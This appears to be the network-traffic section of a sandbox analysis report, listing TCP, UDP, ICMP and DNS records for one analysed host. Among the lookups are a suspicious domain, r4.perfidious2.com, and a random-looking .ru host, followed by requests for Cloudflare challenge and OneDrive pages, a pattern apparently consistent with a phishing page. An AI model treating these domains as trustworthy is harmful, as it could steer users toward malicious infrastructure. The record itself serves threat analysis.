Dec 3, 2024 09:06:15.615951061 CET	49753	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:15.615983963 CET	443	49753	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:15.619070053 CET	49754	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:15.619208097 CET	443	49754	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:15.619309902 CET	49754	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:15.619538069 CET	49754	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:15.619558096 CET	443	49754	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:16.064804077 CET	49755	443	192.168.2.16	104.21.65.72
Dec 3, 2024 09:06:16.064851999 CET	443	49755	104.21.65.72	192.168.2.16
Dec 3, 2024 09:06:16.064927101 CET	49755	443	192.168.2.16	104.21.65.72
Dec 3, 2024 09:06:16.065272093 CET	49755	443	192.168.2.16	104.21.65.72
Dec 3, 2024 09:06:16.065284967 CET	443	49755	104.21.65.72	192.168.2.16
Dec 3, 2024 09:06:16.831135035 CET	443	49754	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:16.832412958 CET	49754	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:16.832442045 CET	443	49754	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:16.832761049 CET	443	49754	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:16.833137035 CET	49754	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:16.833194971 CET	443	49754	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:16.833291054 CET	49754	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:16.879338026 CET	443	49754	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:17.273195982 CET	443	49754	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:17.273279905 CET	443	49754	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:17.273344994 CET	49754	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:17.273834944 CET	49754	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:17.273855925 CET	443	49754	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:17.277813911 CET	443	49755	104.21.65.72	192.168.2.16
Dec 3, 2024 09:06:17.278057098 CET	49755	443	192.168.2.16	104.21.65.72
Dec 3, 2024 09:06:17.278078079 CET	443	49755	104.21.65.72	192.168.2.16
Dec 3, 2024 09:06:17.279108047 CET	443	49755	104.21.65.72	192.168.2.16
Dec 3, 2024 09:06:17.279169083 CET	49755	443	192.168.2.16	104.21.65.72
Dec 3, 2024 09:06:17.279470921 CET	49755	443	192.168.2.16	104.21.65.72
Dec 3, 2024 09:06:17.279494047 CET	49755	443	192.168.2.16	104.21.65.72
Dec 3, 2024 09:06:17.279531002 CET	443	49755	104.21.65.72	192.168.2.16
Dec 3, 2024 09:06:17.279555082 CET	49755	443	192.168.2.16	104.21.65.72
Dec 3, 2024 09:06:17.279583931 CET	49755	443	192.168.2.16	104.21.65.72
Dec 3, 2024 09:06:17.279895067 CET	49756	443	192.168.2.16	104.21.65.72
Dec 3, 2024 09:06:17.279985905 CET	443	49756	104.21.65.72	192.168.2.16
Dec 3, 2024 09:06:17.280083895 CET	49756	443	192.168.2.16	104.21.65.72
Dec 3, 2024 09:06:17.280262947 CET	49756	443	192.168.2.16	104.21.65.72
Dec 3, 2024 09:06:17.280298948 CET	443	49756	104.21.65.72	192.168.2.16
Dec 3, 2024 09:06:18.541567087 CET	443	49756	104.21.65.72	192.168.2.16
Dec 3, 2024 09:06:18.541906118 CET	49756	443	192.168.2.16	104.21.65.72
Dec 3, 2024 09:06:18.541933060 CET	443	49756	104.21.65.72	192.168.2.16
Dec 3, 2024 09:06:18.542968035 CET	443	49756	104.21.65.72	192.168.2.16
Dec 3, 2024 09:06:18.543036938 CET	49756	443	192.168.2.16	104.21.65.72
Dec 3, 2024 09:06:18.544913054 CET	49756	443	192.168.2.16	104.21.65.72
Dec 3, 2024 09:06:18.544979095 CET	443	49756	104.21.65.72	192.168.2.16
Dec 3, 2024 09:06:18.545118093 CET	49756	443	192.168.2.16	104.21.65.72
Dec 3, 2024 09:06:18.545125961 CET	443	49756	104.21.65.72	192.168.2.16
Dec 3, 2024 09:06:18.588409901 CET	49756	443	192.168.2.16	104.21.65.72
Dec 3, 2024 09:06:19.408878088 CET	443	49756	104.21.65.72	192.168.2.16
Dec 3, 2024 09:06:19.408998966 CET	443	49756	104.21.65.72	192.168.2.16
Dec 3, 2024 09:06:19.409102917 CET	49756	443	192.168.2.16	104.21.65.72
Dec 3, 2024 09:06:19.409734964 CET	49756	443	192.168.2.16	104.21.65.72
Dec 3, 2024 09:06:19.409756899 CET	443	49756	104.21.65.72	192.168.2.16
Dec 3, 2024 09:06:19.559724092 CET	49757	443	192.168.2.16	104.21.65.72
Dec 3, 2024 09:06:19.559772015 CET	443	49757	104.21.65.72	192.168.2.16
Dec 3, 2024 09:06:19.559853077 CET	49757	443	192.168.2.16	104.21.65.72
Dec 3, 2024 09:06:19.560151100 CET	49757	443	192.168.2.16	104.21.65.72
Dec 3, 2024 09:06:19.560163975 CET	443	49757	104.21.65.72	192.168.2.16
Dec 3, 2024 09:06:20.815246105 CET	443	49757	104.21.65.72	192.168.2.16
Dec 3, 2024 09:06:20.815548897 CET	49757	443	192.168.2.16	104.21.65.72
Dec 3, 2024 09:06:20.815562963 CET	443	49757	104.21.65.72	192.168.2.16
Dec 3, 2024 09:06:20.816515923 CET	443	49757	104.21.65.72	192.168.2.16
Dec 3, 2024 09:06:20.816580057 CET	49757	443	192.168.2.16	104.21.65.72
Dec 3, 2024 09:06:20.816874027 CET	49757	443	192.168.2.16	104.21.65.72
Dec 3, 2024 09:06:20.816890001 CET	49757	443	192.168.2.16	104.21.65.72
Dec 3, 2024 09:06:20.816927910 CET	443	49757	104.21.65.72	192.168.2.16
Dec 3, 2024 09:06:20.816946983 CET	49757	443	192.168.2.16	104.21.65.72
Dec 3, 2024 09:06:20.816981077 CET	49757	443	192.168.2.16	104.21.65.72
Dec 3, 2024 09:06:20.817301989 CET	49759	443	192.168.2.16	104.21.65.72
Dec 3, 2024 09:06:20.817327976 CET	443	49759	104.21.65.72	192.168.2.16
Dec 3, 2024 09:06:20.817405939 CET	49759	443	192.168.2.16	104.21.65.72
Dec 3, 2024 09:06:20.817605019 CET	49759	443	192.168.2.16	104.21.65.72
Dec 3, 2024 09:06:20.817616940 CET	443	49759	104.21.65.72	192.168.2.16
Dec 3, 2024 09:06:22.119887114 CET	443	49759	104.21.65.72	192.168.2.16
Dec 3, 2024 09:06:22.120192051 CET	49759	443	192.168.2.16	104.21.65.72
Dec 3, 2024 09:06:22.120207071 CET	443	49759	104.21.65.72	192.168.2.16
Dec 3, 2024 09:06:22.121186018 CET	443	49759	104.21.65.72	192.168.2.16
Dec 3, 2024 09:06:22.121257067 CET	49759	443	192.168.2.16	104.21.65.72
Dec 3, 2024 09:06:22.121551991 CET	49759	443	192.168.2.16	104.21.65.72
Dec 3, 2024 09:06:22.121608019 CET	443	49759	104.21.65.72	192.168.2.16
Dec 3, 2024 09:06:22.121709108 CET	49759	443	192.168.2.16	104.21.65.72
Dec 3, 2024 09:06:22.121716022 CET	443	49759	104.21.65.72	192.168.2.16
Dec 3, 2024 09:06:22.168447018 CET	49759	443	192.168.2.16	104.21.65.72
Dec 3, 2024 09:06:22.744887114 CET	49760	443	192.168.2.16	13.107.137.11
Dec 3, 2024 09:06:22.744935036 CET	443	49760	13.107.137.11	192.168.2.16
Dec 3, 2024 09:06:22.745028973 CET	49760	443	192.168.2.16	13.107.137.11
Dec 3, 2024 09:06:22.745229959 CET	49760	443	192.168.2.16	13.107.137.11
Dec 3, 2024 09:06:22.745245934 CET	443	49760	13.107.137.11	192.168.2.16
Dec 3, 2024 09:06:22.983688116 CET	443	49759	104.21.65.72	192.168.2.16
Dec 3, 2024 09:06:22.983817101 CET	443	49759	104.21.65.72	192.168.2.16
Dec 3, 2024 09:06:22.983875990 CET	49759	443	192.168.2.16	104.21.65.72
Dec 3, 2024 09:06:22.984781027 CET	49759	443	192.168.2.16	104.21.65.72
Dec 3, 2024 09:06:22.984817028 CET	443	49759	104.21.65.72	192.168.2.16
Dec 3, 2024 09:06:24.418018103 CET	443	49760	13.107.137.11	192.168.2.16
Dec 3, 2024 09:06:24.418313980 CET	49760	443	192.168.2.16	13.107.137.11
Dec 3, 2024 09:06:24.418329954 CET	443	49760	13.107.137.11	192.168.2.16
Dec 3, 2024 09:06:24.419214964 CET	443	49760	13.107.137.11	192.168.2.16
Dec 3, 2024 09:06:24.419331074 CET	49760	443	192.168.2.16	13.107.137.11
Dec 3, 2024 09:06:24.420269012 CET	49760	443	192.168.2.16	13.107.137.11
Dec 3, 2024 09:06:24.420350075 CET	443	49760	13.107.137.11	192.168.2.16
Dec 3, 2024 09:06:24.420469999 CET	49760	443	192.168.2.16	13.107.137.11
Dec 3, 2024 09:06:24.420481920 CET	443	49760	13.107.137.11	192.168.2.16
Dec 3, 2024 09:06:24.470434904 CET	49760	443	192.168.2.16	13.107.137.11
Dec 3, 2024 09:06:24.940642118 CET	443	49760	13.107.137.11	192.168.2.16
Dec 3, 2024 09:06:24.940670967 CET	443	49760	13.107.137.11	192.168.2.16
Dec 3, 2024 09:06:24.940781116 CET	49760	443	192.168.2.16	13.107.137.11
Dec 3, 2024 09:06:24.940799952 CET	443	49760	13.107.137.11	192.168.2.16
Dec 3, 2024 09:06:24.941190958 CET	443	49760	13.107.137.11	192.168.2.16
Dec 3, 2024 09:06:24.941266060 CET	49760	443	192.168.2.16	13.107.137.11
Dec 3, 2024 09:06:24.941458941 CET	49760	443	192.168.2.16	13.107.137.11
Dec 3, 2024 09:06:24.941458941 CET	49760	443	192.168.2.16	13.107.137.11
Dec 3, 2024 09:06:24.941472054 CET	443	49760	13.107.137.11	192.168.2.16
Dec 3, 2024 09:06:24.941533089 CET	49760	443	192.168.2.16	13.107.137.11
Dec 3, 2024 09:06:57.908021927 CET	49777	443	192.168.2.16	216.58.208.228
Dec 3, 2024 09:06:57.908075094 CET	443	49777	216.58.208.228	192.168.2.16
Dec 3, 2024 09:06:57.908175945 CET	49777	443	192.168.2.16	216.58.208.228
Dec 3, 2024 09:06:57.908420086 CET	49777	443	192.168.2.16	216.58.208.228
Dec 3, 2024 09:06:57.908433914 CET	443	49777	216.58.208.228	192.168.2.16
Dec 3, 2024 09:06:59.645603895 CET	443	49777	216.58.208.228	192.168.2.16
Dec 3, 2024 09:06:59.645942926 CET	49777	443	192.168.2.16	216.58.208.228
Dec 3, 2024 09:06:59.645972013 CET	443	49777	216.58.208.228	192.168.2.16
Dec 3, 2024 09:06:59.646302938 CET	443	49777	216.58.208.228	192.168.2.16
Dec 3, 2024 09:06:59.646683931 CET	49777	443	192.168.2.16	216.58.208.228
Dec 3, 2024 09:06:59.646775007 CET	443	49777	216.58.208.228	192.168.2.16
Dec 3, 2024 09:06:59.694529057 CET	49777	443	192.168.2.16	216.58.208.228

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 3, 2024 09:05:11.851650000 CET	53	51833	1.1.1.1	192.168.2.16
Dec 3, 2024 09:05:11.897378922 CET	53	50321	1.1.1.1	192.168.2.16
Dec 3, 2024 09:05:11.993598938 CET	53	64696	1.1.1.1	192.168.2.16
Dec 3, 2024 09:05:14.676706076 CET	53	52479	1.1.1.1	192.168.2.16
Dec 3, 2024 09:05:14.928044081 CET	58736	53	192.168.2.16	1.1.1.1
Dec 3, 2024 09:05:14.928324938 CET	58319	53	192.168.2.16	1.1.1.1
Dec 3, 2024 09:05:15.031474113 CET	53	53008	1.1.1.1	192.168.2.16
Dec 3, 2024 09:05:15.203664064 CET	53	58736	1.1.1.1	192.168.2.16
Dec 3, 2024 09:05:15.205055952 CET	53	58319	1.1.1.1	192.168.2.16
Dec 3, 2024 09:05:16.520632982 CET	51437	53	192.168.2.16	1.1.1.1
Dec 3, 2024 09:05:16.520843983 CET	61964	53	192.168.2.16	1.1.1.1
Dec 3, 2024 09:05:16.659162045 CET	53	61964	1.1.1.1	192.168.2.16
Dec 3, 2024 09:05:16.660419941 CET	53	51437	1.1.1.1	192.168.2.16
Dec 3, 2024 09:05:18.867400885 CET	56576	53	192.168.2.16	1.1.1.1
Dec 3, 2024 09:05:18.867587090 CET	64653	53	192.168.2.16	1.1.1.1
Dec 3, 2024 09:05:18.868081093 CET	54702	53	192.168.2.16	1.1.1.1
Dec 3, 2024 09:05:18.868220091 CET	52659	53	192.168.2.16	1.1.1.1
Dec 3, 2024 09:05:18.868597031 CET	59988	53	192.168.2.16	1.1.1.1
Dec 3, 2024 09:05:18.868879080 CET	57050	53	192.168.2.16	1.1.1.1
Dec 3, 2024 09:05:19.005721092 CET	53	56576	1.1.1.1	192.168.2.16
Dec 3, 2024 09:05:19.005944014 CET	53	64653	1.1.1.1	192.168.2.16
Dec 3, 2024 09:05:19.005954027 CET	53	54702	1.1.1.1	192.168.2.16
Dec 3, 2024 09:05:19.007383108 CET	53	57050	1.1.1.1	192.168.2.16
Dec 3, 2024 09:05:19.007430077 CET	53	59988	1.1.1.1	192.168.2.16
Dec 3, 2024 09:05:19.007483006 CET	53	52659	1.1.1.1	192.168.2.16
Dec 3, 2024 09:05:21.132575035 CET	50738	53	192.168.2.16	1.1.1.1
Dec 3, 2024 09:05:21.132797956 CET	57247	53	192.168.2.16	1.1.1.1
Dec 3, 2024 09:05:21.173207045 CET	52516	53	192.168.2.16	1.1.1.1
Dec 3, 2024 09:05:21.173371077 CET	51712	53	192.168.2.16	1.1.1.1
Dec 3, 2024 09:05:21.269738913 CET	53	50738	1.1.1.1	192.168.2.16
Dec 3, 2024 09:05:21.270114899 CET	53	57247	1.1.1.1	192.168.2.16
Dec 3, 2024 09:05:21.310642004 CET	53	51712	1.1.1.1	192.168.2.16
Dec 3, 2024 09:05:21.310798883 CET	53	52516	1.1.1.1	192.168.2.16
Dec 3, 2024 09:05:22.897289038 CET	63497	53	192.168.2.16	1.1.1.1
Dec 3, 2024 09:05:22.897455931 CET	63105	53	192.168.2.16	1.1.1.1
Dec 3, 2024 09:05:23.034609079 CET	53	63105	1.1.1.1	192.168.2.16
Dec 3, 2024 09:05:23.034771919 CET	53	63497	1.1.1.1	192.168.2.16
Dec 3, 2024 09:05:53.130733967 CET	65441	53	192.168.2.16	1.1.1.1
Dec 3, 2024 09:05:53.130996943 CET	50985	53	192.168.2.16	1.1.1.1
Dec 3, 2024 09:05:53.210799932 CET	53	53166	1.1.1.1	192.168.2.16
Dec 3, 2024 09:05:53.218130112 CET	53	64026	1.1.1.1	192.168.2.16
Dec 3, 2024 09:05:53.268409014 CET	53	65441	1.1.1.1	192.168.2.16
Dec 3, 2024 09:05:53.269037962 CET	53	50985	1.1.1.1	192.168.2.16
Dec 3, 2024 09:05:56.017162085 CET	53	62100	1.1.1.1	192.168.2.16
Dec 3, 2024 09:05:56.819253922 CET	52299	53	192.168.2.16	1.1.1.1
Dec 3, 2024 09:05:56.819443941 CET	52269	53	192.168.2.16	1.1.1.1
Dec 3, 2024 09:05:56.844366074 CET	51629	53	192.168.2.16	1.1.1.1
Dec 3, 2024 09:05:56.844549894 CET	53707	53	192.168.2.16	1.1.1.1
Dec 3, 2024 09:05:56.956546068 CET	53	52299	1.1.1.1	192.168.2.16
Dec 3, 2024 09:05:57.022552967 CET	53	52269	1.1.1.1	192.168.2.16
Dec 3, 2024 09:05:57.022572041 CET	53	51629	1.1.1.1	192.168.2.16
Dec 3, 2024 09:05:57.022823095 CET	53	53707	1.1.1.1	192.168.2.16
Dec 3, 2024 09:05:57.848659039 CET	58412	53	192.168.2.16	1.1.1.1
Dec 3, 2024 09:05:57.848807096 CET	61553	53	192.168.2.16	1.1.1.1
Dec 3, 2024 09:05:57.986264944 CET	53	58412	1.1.1.1	192.168.2.16
Dec 3, 2024 09:05:57.986294985 CET	53	61553	1.1.1.1	192.168.2.16
Dec 3, 2024 09:06:07.803468943 CET	138	138	192.168.2.16	192.168.2.255
Dec 3, 2024 09:06:13.004805088 CET	53	60519	1.1.1.1	192.168.2.16
Dec 3, 2024 09:06:15.621690035 CET	49940	53	192.168.2.16	1.1.1.1
Dec 3, 2024 09:06:15.621848106 CET	56073	53	192.168.2.16	1.1.1.1
Dec 3, 2024 09:06:16.063520908 CET	53	56073	1.1.1.1	192.168.2.16
Dec 3, 2024 09:06:16.064213991 CET	53	49940	1.1.1.1	192.168.2.16
Dec 3, 2024 09:06:19.415925026 CET	51239	53	192.168.2.16	1.1.1.1
Dec 3, 2024 09:06:19.416155100 CET	63444	53	192.168.2.16	1.1.1.1
Dec 3, 2024 09:06:19.416485071 CET	59181	53	192.168.2.16	1.1.1.1
Dec 3, 2024 09:06:19.416621923 CET	64637	53	192.168.2.16	1.1.1.1
Dec 3, 2024 09:06:19.556629896 CET	53	59181	1.1.1.1	192.168.2.16
Dec 3, 2024 09:06:19.559120893 CET	53	64637	1.1.1.1	192.168.2.16
Dec 3, 2024 09:06:22.567778111 CET	62940	53	192.168.2.16	1.1.1.1
Dec 3, 2024 09:06:22.567922115 CET	51888	53	192.168.2.16	1.1.1.1
Dec 3, 2024 09:06:29.216826916 CET	61167	53	192.168.2.16	1.1.1.1
Dec 3, 2024 09:06:29.217078924 CET	52089	53	192.168.2.16	1.1.1.1
Dec 3, 2024 09:06:29.218307018 CET	59403	53	192.168.2.16	1.1.1.1
Dec 3, 2024 09:06:29.218430042 CET	55166	53	192.168.2.16	1.1.1.1
Dec 3, 2024 09:06:31.947339058 CET	53	52140	1.1.1.1	192.168.2.16
Dec 3, 2024 09:06:32.172935009 CET	53640	53	192.168.2.16	1.1.1.1
Dec 3, 2024 09:06:32.173108101 CET	51255	53	192.168.2.16	1.1.1.1
Dec 3, 2024 09:06:33.345129967 CET	49890	53	192.168.2.16	1.1.1.1
Dec 3, 2024 09:06:33.345285892 CET	52624	53	192.168.2.16	1.1.1.1
Dec 3, 2024 09:06:35.708530903 CET	62263	53	192.168.2.16	1.1.1.1
Dec 3, 2024 09:06:35.708694935 CET	58617	53	192.168.2.16	1.1.1.1
Dec 3, 2024 09:06:53.083885908 CET	53	59810	1.1.1.1	192.168.2.16
Dec 3, 2024 09:06:54.287820101 CET	53	50375	1.1.1.1	192.168.2.16

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 3, 2024 09:05:57.022752047 CET	192.168.2.16	1.1.1.1	c244	(Port unreachable)	Destination Unreachable
Dec 3, 2024 09:06:23.169194937 CET	192.168.2.16	1.1.1.1	c2d1	(Port unreachable)	Destination Unreachable
Dec 3, 2024 09:06:29.550571918 CET	192.168.2.16	1.1.1.1	c26e	(Port unreachable)	Destination Unreachable
Dec 3, 2024 09:06:32.220515966 CET	192.168.2.16	1.1.1.1	c24d	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 3, 2024 09:05:14.928044081 CET	192.168.2.16	1.1.1.1	0x9d6f	Standard query (0)	r4.perfidious2.com	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:05:14.928324938 CET	192.168.2.16	1.1.1.1	0x32f7	Standard query (0)	r4.perfidious2.com	65	IN (0x0001)	false
Dec 3, 2024 09:05:16.520632982 CET	192.168.2.16	1.1.1.1	0xf228	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:05:16.520843983 CET	192.168.2.16	1.1.1.1	0x4b3a	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 3, 2024 09:05:18.867400885 CET	192.168.2.16	1.1.1.1	0x763c	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:05:18.867587090 CET	192.168.2.16	1.1.1.1	0xb38f	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Dec 3, 2024 09:05:18.868081093 CET	192.168.2.16	1.1.1.1	0xffad	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:05:18.868220091 CET	192.168.2.16	1.1.1.1	0x4bc8	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Dec 3, 2024 09:05:18.868597031 CET	192.168.2.16	1.1.1.1	0xa9bf	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:05:18.868879080 CET	192.168.2.16	1.1.1.1	0x9816	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Dec 3, 2024 09:05:21.132575035 CET	192.168.2.16	1.1.1.1	0xc89c	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:05:21.132797956 CET	192.168.2.16	1.1.1.1	0x61c2	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Dec 3, 2024 09:05:21.173207045 CET	192.168.2.16	1.1.1.1	0xf247	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:05:21.173371077 CET	192.168.2.16	1.1.1.1	0xfa39	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Dec 3, 2024 09:05:22.897289038 CET	192.168.2.16	1.1.1.1	0x51a	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:05:22.897455931 CET	192.168.2.16	1.1.1.1	0xf154	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Dec 3, 2024 09:05:53.130733967 CET	192.168.2.16	1.1.1.1	0xac0f	Standard query (0)	r4.perfidious2.com	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:05:53.130996943 CET	192.168.2.16	1.1.1.1	0x3467	Standard query (0)	r4.perfidious2.com	65	IN (0x0001)	false
Dec 3, 2024 09:05:56.819253922 CET	192.168.2.16	1.1.1.1	0xa77	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:05:56.819443941 CET	192.168.2.16	1.1.1.1	0xee8b	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Dec 3, 2024 09:05:56.844366074 CET	192.168.2.16	1.1.1.1	0xcbaa	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:05:56.844549894 CET	192.168.2.16	1.1.1.1	0x1923	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Dec 3, 2024 09:05:57.848659039 CET	192.168.2.16	1.1.1.1	0x4962	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:05:57.848807096 CET	192.168.2.16	1.1.1.1	0xc545	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 3, 2024 09:06:15.621690035 CET	192.168.2.16	1.1.1.1	0x4537	Standard query (0)	yqhs4qoapmkfgt7y0vqdcc2orpbx2vrvxi73sjgje6aziuktsdghs.bfcgpixdwnw.ru	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:06:15.621848106 CET	192.168.2.16	1.1.1.1	0xd0c6	Standard query (0)	yqhs4qoapmkfgt7y0vqdcc2orpbx2vrvxi73sjgje6aziuktsdghs.bfcgpixdwnw.ru	65	IN (0x0001)	false
Dec 3, 2024 09:06:19.415925026 CET	192.168.2.16	1.1.1.1	0xde6f	Standard query (0)	www.onedrive.com	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:06:19.416155100 CET	192.168.2.16	1.1.1.1	0x824e	Standard query (0)	www.onedrive.com	65	IN (0x0001)	false
Dec 3, 2024 09:06:19.416485071 CET	192.168.2.16	1.1.1.1	0xf1fd	Standard query (0)	yqhs4qoapmkfgt7y0vqdcc2orpbx2vrvxi73sjgje6aziuktsdghs.bfcgpixdwnw.ru	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:06:19.416621923 CET	192.168.2.16	1.1.1.1	0xf3e	Standard query (0)	yqhs4qoapmkfgt7y0vqdcc2orpbx2vrvxi73sjgje6aziuktsdghs.bfcgpixdwnw.ru	65	IN (0x0001)	false
Dec 3, 2024 09:06:22.567778111 CET	192.168.2.16	1.1.1.1	0xcb41	Standard query (0)	onedrive.live.com	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:06:22.567922115 CET	192.168.2.16	1.1.1.1	0x3c4c	Standard query (0)	onedrive.live.com	65	IN (0x0001)	false
Dec 3, 2024 09:06:29.216826916 CET	192.168.2.16	1.1.1.1	0x5caf	Standard query (0)	assets.onestore.ms	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:06:29.217078924 CET	192.168.2.16	1.1.1.1	0x26bc	Standard query (0)	assets.onestore.ms	65	IN (0x0001)	false
Dec 3, 2024 09:06:29.218307018 CET	192.168.2.16	1.1.1.1	0xb55f	Standard query (0)	ajax.aspnetcdn.com	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:06:29.218430042 CET	192.168.2.16	1.1.1.1	0xcaa3	Standard query (0)	ajax.aspnetcdn.com	65	IN (0x0001)	false
Dec 3, 2024 09:06:32.172935009 CET	192.168.2.16	1.1.1.1	0xcd29	Standard query (0)	ajax.aspnetcdn.com	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:06:32.173108101 CET	192.168.2.16	1.1.1.1	0x54fc	Standard query (0)	ajax.aspnetcdn.com	65	IN (0x0001)	false
Dec 3, 2024 09:06:33.345129967 CET	192.168.2.16	1.1.1.1	0xf244	Standard query (0)	c.s-microsoft.com	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:06:33.345285892 CET	192.168.2.16	1.1.1.1	0x3d74	Standard query (0)	c.s-microsoft.com	65	IN (0x0001)	false
Dec 3, 2024 09:06:35.708530903 CET	192.168.2.16	1.1.1.1	0xe404	Standard query (0)	c.s-microsoft.com	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:06:35.708694935 CET	192.168.2.16	1.1.1.1	0xbf6b	Standard query (0)	c.s-microsoft.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 3, 2024 09:05:07.445771933 CET	1.1.1.1	192.168.2.16	0xe3b4	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:05:07.445771933 CET	1.1.1.1	192.168.2.16	0xe3b4	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:05:15.203664064 CET	1.1.1.1	192.168.2.16	0x9d6f	No error (0)	r4.perfidious2.com		172.67.135.197	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:05:15.203664064 CET	1.1.1.1	192.168.2.16	0x9d6f	No error (0)	r4.perfidious2.com		104.21.7.52	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:05:15.205055952 CET	1.1.1.1	192.168.2.16	0x32f7	No error (0)	r4.perfidious2.com			65	IN (0x0001)	false
Dec 3, 2024 09:05:16.659162045 CET	1.1.1.1	192.168.2.16	0x4b3a	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 3, 2024 09:05:16.660419941 CET	1.1.1.1	192.168.2.16	0xf228	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:05:19.005721092 CET	1.1.1.1	192.168.2.16	0x763c	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:05:19.005721092 CET	1.1.1.1	192.168.2.16	0x763c	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:05:19.005721092 CET	1.1.1.1	192.168.2.16	0x763c	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:05:19.005721092 CET	1.1.1.1	192.168.2.16	0x763c	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:05:19.005954027 CET	1.1.1.1	192.168.2.16	0xffad	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:05:19.005954027 CET	1.1.1.1	192.168.2.16	0xffad	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:05:19.007383108 CET	1.1.1.1	192.168.2.16	0x9816	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Dec 3, 2024 09:05:19.007430077 CET	1.1.1.1	192.168.2.16	0xa9bf	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:05:19.007430077 CET	1.1.1.1	192.168.2.16	0xa9bf	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:05:19.007483006 CET	1.1.1.1	192.168.2.16	0x4bc8	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Dec 3, 2024 09:05:21.269738913 CET	1.1.1.1	192.168.2.16	0xc89c	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:05:21.269738913 CET	1.1.1.1	192.168.2.16	0xc89c	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:05:21.270114899 CET	1.1.1.1	192.168.2.16	0x61c2	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Dec 3, 2024 09:05:21.310798883 CET	1.1.1.1	192.168.2.16	0xf247	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
